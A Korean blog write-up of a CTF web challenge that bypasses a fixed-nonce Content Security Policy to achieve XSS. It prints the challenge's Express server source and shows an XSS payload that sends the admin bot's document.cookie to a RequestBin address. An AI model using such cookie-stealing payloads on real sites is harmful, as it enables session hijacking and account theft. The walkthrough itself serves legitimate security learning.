문제 제목처럼 CSP 를 우회하여 XSS 를 해야하는 문제이다.
문제페이지 주소와 쿠키를 탈취해야할 대상인 Admin Bot의 주소가 주어지고
index.js 소스파일이 주어진다.
일단 문제페이지에 들어가봤다.
아래쪽에 View Fruit 라는 버튼이 있는데
이 버튼을 누르면 URL 의 name 파라미터에
apple, orange, pineapple, pear 네 가지 과일이 랜덤하게 들어가고,
그 값을 보이는것처럼 웹페이지에 적어준다.
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
index.js 파일을 보면 해당 내용을 확인할 수 있다.
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
이 부분이 CSP 를 만드는 부분이다.
CSP 는 Contents Security Policy 의 약자로 XSS 취약점을 완화하기 위해 사용된다.
XSS 로 인해 임의의 스크립트가 실행되지 않도록 제약을 거는 것이다.
문제에서는 script-src 'nonce=${NONCE}' 형태로 구성했는데
이렇게 할 경우 스크립트가 실행되려면 적절한 nonce 값을 함께 전달해야 한다.
그런데 여기서 문제는 nonce 값이 랜덤한 값이 아니라 고정된 값이라는 것이다.
F12를 눌러 개발자 도구의 네트워크 탭을 통해
Response Header 에서 nonce 값을 알아냈다.
name 파라미터에
<script nonce=NONCE 값>alert(1)</script> 형태로 입력해보면
알람창이 뜨는것을 확인할 수 있다.
XSS 가 가능하다는 것을 확인했으니
이제 Admin Bot에게 url을 전달해 쿠키값을 탈취해 본다.
<script nonce=NONCE값>document.location.href='requestbin 주소/?cookie='+document.cookie</script>
형태로 작성해 url을 전달한다.
RequestBin 페이지에서 잠시 기다리면
Admin Bot 의 쿠키값이 전달된다.
뭔가 알수없는 값이 들어있는데
해당 값을 URL에 넣어봤더니
숨겨져 있던 페이지를 찾을 수 있었고,
해당 페이지의 주석에서 플래그를 확인할 수 있었다.
'CTF > 웹해킹' 카테고리의 다른 글
[Tenable CTF] Web 문제들(2/3) - 웹해킹 / 개발자도구 / 헤더변조 (50) | 2023.04.04 |
---|---|
[Tenable CTF] Web 문제들(1/3) - 웹해킹 / robots.txt / 개발자도구 (80) | 2023.04.03 |
[LACTF] metaverse - 웹해킹 / 크로스사이트스크립트 (67) | 2023.02.26 |
[LACTF] colleage-tour - 웹해킹 / 개발자도구 (83) | 2023.02.19 |
[Affinity CTF] True Content - 웹해킹 / Burp Suite / 자바스크립트 (59) | 2022.12.31 |